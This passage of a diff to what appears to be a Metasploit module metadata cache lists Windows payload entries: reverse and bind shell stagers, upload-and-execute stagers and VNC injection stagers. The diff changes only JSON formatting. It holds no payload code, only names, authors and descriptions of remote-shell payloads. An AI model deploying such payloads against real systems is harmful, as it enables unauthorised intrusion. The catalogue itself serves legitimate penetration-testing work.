" ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258118,8 +229566,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258130,9 +229577,7 @@ "payload_windows/shell/reverse_ord_tcp": { "name": "Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/shell/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258141,9 +229586,7 @@ "sf " ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258157,8 +229600,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258169,9 +229611,7 @@ "payload_windows/shell/reverse_tcp": { "name": "Windows Command Shell, Reverse TCP Stager", "fullname": "payload/windows/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258182,9 +229622,7 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258198,8 +229636,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258210,9 +229647,7 @@ "payload_windows/shell/reverse_tcp_allports": { "name": "Windows Command Shell, Reverse All-Port TCP Stager", "fullname": "payload/windows/shell/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258223,9 +229658,7 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258239,8 +229672,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258251,9 +229683,7 @@ "payload_windows/shell/reverse_tcp_dns": { "name": "Windows Command Shell, Reverse TCP Stager (DNS)", "fullname": "payload/windows/shell/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258265,9 +229695,7 @@ "RageLtMan" ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258281,8 +229709,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258293,9 +229720,7 @@ "payload_windows/shell/reverse_tcp_rc4": { "name": "Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258308,9 +229733,7 @@ "RageLtMan" ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258324,8 +229747,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258336,9 +229758,7 @@ "payload_windows/shell/reverse_tcp_rc4_dns": { "name": "Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/shell/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258351,9 +229771,7 @@ "RageLtMan" ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258367,8 +229785,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258379,9 +229796,7 @@ "payload_windows/shell/reverse_tcp_uuid": { "name": "Windows Command Shell, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258392,9 +229807,7 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258408,8 +229821,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258420,9 +229832,7 @@ "payload_windows/shell/reverse_udp": { "name": "Windows Command Shell, Reverse UDP Stager with UUID Support", "fullname": "payload/windows/shell/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258432,9 +229842,7 @@ "RageLtMan " ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258448,8 +229856,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258460,9 +229867,7 @@ "payload_windows/shell_bind_tcp": { "name": "Windows Command Shell, Bind TCP Inline", "fullname": "payload/windows/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258471,9 +229876,7 @@ "sf " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258487,8 +229890,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258497,9 +229899,7 @@ "payload_windows/shell_bind_tcp_xpfw": { "name": "Windows Disable Windows ICF, Command Shell, Bind TCP Inline", "fullname": "payload/windows/shell_bind_tcp_xpfw", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258507,9 +229907,7 @@ "Lin0xx " ], "description": "Disable the Windows ICF, then listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258523,8 +229921,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258533,9 +229930,7 @@ "payload_windows/shell_hidden_bind_tcp": { "name": "Windows Command Shell, Hidden Bind TCP Inline", "fullname": "payload/windows/shell_hidden_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258561,8 +229956,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258571,9 +229965,7 @@ "payload_windows/shell_reverse_tcp": { "name": "Windows Command Shell, Reverse TCP Inline", "fullname": "payload/windows/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258582,9 +229974,7 @@ "sf " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258598,8 +229988,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258608,9 +229997,7 @@ "payload_windows/speak_pwned": { "name": "Windows Speech API - Say \"You Got Pwned!\"", "fullname": "payload/windows/speak_pwned", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258618,9 +230005,7 @@ "Berend-Jan \"SkyLined\" Wever " ], "description": "Causes the target to say \"You Got Pwned\" via the Windows Speech API", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258634,8 +230019,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258644,9 +230028,7 @@ "payload_windows/upexec/bind_hidden_ipknock_tcp": { "name": "Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/upexec/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258674,8 +230056,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258686,9 +230067,7 @@ "payload_windows/upexec/bind_hidden_tcp": { "name": "Windows Upload/Execute, Hidden Bind TCP Stager", "fullname": "payload/windows/upexec/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258716,8 +230095,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258728,9 +230106,7 @@ "payload_windows/upexec/bind_ipv6_tcp": { "name": "Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/upexec/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258741,9 +230117,7 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258757,8 +230131,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258769,9 +230142,7 @@ "payload_windows/upexec/bind_ipv6_tcp_uuid": { "name": "Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/upexec/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258783,9 +230154,7 @@ "OJ Reeves" ], "description": "Uploads an executable and runs it (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258799,8 +230168,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258811,9 +230179,7 @@ "payload_windows/upexec/bind_named_pipe": { "name": "Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/upexec/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258823,9 +230189,7 @@ "UserExistsError" ], "description": "Uploads an executable and runs it (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258839,8 +230203,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258851,9 +230214,7 @@ "payload_windows/upexec/bind_nonx_tcp": { "name": "Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/upexec/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258862,9 +230223,7 @@ "sf " ], "description": "Uploads an executable and runs it (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258878,8 +230237,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258890,9 +230248,7 @@ "payload_windows/upexec/bind_tcp": { "name": "Windows Upload/Execute, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/upexec/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258903,9 +230259,7 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258919,8 +230273,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258931,9 +230284,7 @@ "payload_windows/upexec/bind_tcp_rc4": { "name": "Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/upexec/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258946,9 +230297,7 @@ "RageLtMan" ], "description": "Uploads an executable and runs it (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258962,8 +230311,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258974,9 +230322,7 @@ "payload_windows/upexec/bind_tcp_uuid": { "name": "Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/upexec/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258987,9 +230333,7 @@ "OJ Reeves" ], "description": "Uploads an executable and runs it (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259003,8 +230347,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259015,9 +230358,7 @@ "payload_windows/upexec/find_tag": { "name": "Windows Upload/Execute, Find Tag Ordinal Stager", "fullname": "payload/windows/upexec/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259027,9 +230368,7 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259043,8 +230382,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259055,9 +230393,7 @@ "payload_windows/upexec/reverse_ipv6_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/upexec/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259068,9 +230404,7 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259084,8 +230418,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259096,9 +230429,7 @@ "payload_windows/upexec/reverse_nonx_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/upexec/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259107,9 +230438,7 @@ "sf " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259123,8 +230452,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259135,9 +230463,7 @@ "payload_windows/upexec/reverse_ord_tcp": { "name": "Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/upexec/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259147,9 +230473,7 @@ "spoonm " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259163,8 +230487,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259175,9 +230498,7 @@ "payload_windows/upexec/reverse_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager", "fullname": "payload/windows/upexec/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259188,9 +230509,7 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259204,8 +230523,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259216,9 +230534,7 @@ "payload_windows/upexec/reverse_tcp_allports": { "name": "Windows Upload/Execute, Reverse All-Port TCP Stager", "fullname": "payload/windows/upexec/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259229,9 +230545,7 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259245,8 +230559,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259257,9 +230570,7 @@ "payload_windows/upexec/reverse_tcp_dns": { "name": "Windows Upload/Execute, Reverse TCP Stager (DNS)", "fullname": "payload/windows/upexec/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259271,9 +230582,7 @@ "RageLtMan" ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259287,8 +230596,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259299,9 +230607,7 @@ "payload_windows/upexec/reverse_tcp_rc4": { "name": "Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/upexec/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259314,9 +230620,7 @@ "RageLtMan" ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259330,8 +230634,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259342,9 +230645,7 @@ "payload_windows/upexec/reverse_tcp_rc4_dns": { "name": "Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/upexec/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259357,9 +230658,7 @@ "RageLtMan" ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259373,8 +230672,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259385,9 +230683,7 @@ "payload_windows/upexec/reverse_tcp_uuid": { "name": "Windows Upload/Execute, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/upexec/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259398,9 +230694,7 @@ "OJ Reeves" ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259414,8 +230708,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259426,9 +230719,7 @@ "payload_windows/upexec/reverse_udp": { "name": "Windows Upload/Execute, Reverse UDP Stager with UUID Support", "fullname": "payload/windows/upexec/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259438,9 +230729,7 @@ "RageLtMan " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -259454,8 +230743,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259466,9 +230754,7 @@ "payload_windows/vncinject/bind_hidden_ipknock_tcp": { "name": "VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/vncinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259497,8 +230783,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259509,9 +230794,7 @@ "payload_windows/vncinject/bind_hidden_tcp": { "name": "VNC Server (Reflective Injection), Hidden Bind TCP Stager", "fullname": "payload/windows/vncinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259540,8 +230823,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259552,9 +230834,7 @@ "payload_windows/vncinject/bind_ipv6_tcp": { "name": "VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259581,8 +230861,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259593,9 +230872,7 @@ "payload_windows/vncinject/bind_ipv6_tcp_uuid": { "name": "VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259623,8 +230900,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259635,9 +230911,7 @@ "payload_windows/vncinject/bind_named_pipe": { "name": "VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259663,8 +230937,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259675,9 +230948,7 @@ "payload_windows/vncinject/bind_nonx_tcp": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/vncinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259703,8 +230974,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259715,9 +230985,7 @@ "payload_windows/vncinject/bind_tcp": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)", "fullname": "payload/windows/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259744,8 +231012,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259756,9 +231023,7 @@ "payload_windows/vncinject/bind_tcp_rc4": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259787,8 +231052,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259799,9 +231063,7 @@ "payload_windows/vncinject/bind_tcp_uuid": { "name": "VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259828,8 +231090,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259840,9 +231101,7 @@ "payload_windows/vncinject/find_tag": { "name": "VNC Server (Reflective Injection), Find Tag Ordinal Stager", "fullname": "payload/windows/vncinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259868,8 +231127,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259880,9 +231138,7 @@ "payload_windows/vncinject/reverse_http": { "name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259908,8 +231164,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259920,9 +231175,7 @@ "payload_windows/vncinject/reverse_http_proxy_pstore": { "name": "VNC Server (Reflective Injection), Reverse HTTP Stager Proxy", "fullname": "payload/windows/vncinject/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259948,8 +231201,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259960,9 +231212,7 @@ "payload_windows/vncinject/reverse_ipv6_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)", "fullname": "payload/windows/vncinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259989,8 +231239,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260001,9 +231250,7 @@ "payload_windows/vncinject/reverse_nonx_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/vncinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260029,8 +231276,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260041,9 +231287,7 @@ "payload_windows/vncinject/reverse_ord_tcp": { "name": "VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/vncinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260069,8 +231313,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260081,9 +231324,7 @@ "payload_windows/vncinject/reverse_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager", "fullname": "payload/windows/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260110,8 +231351,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260122,9 +231362,7 @@ "payload_windows/vncinject/reverse_tcp_allports": { "name": "VNC Server (Reflective Injection), Reverse All-Port TCP Stager", "fullname": "payload/windows/vncinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260151,8 +231389,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260163,9 +231400,7 @@ "payload_windows/vncinject/reverse_tcp_dns": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (DNS)", "fullname": "payload/windows/vncinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260193,8 +231428,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260205,9 +231439,7 @@ "payload_windows/vncinject/reverse_tcp_rc4": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": 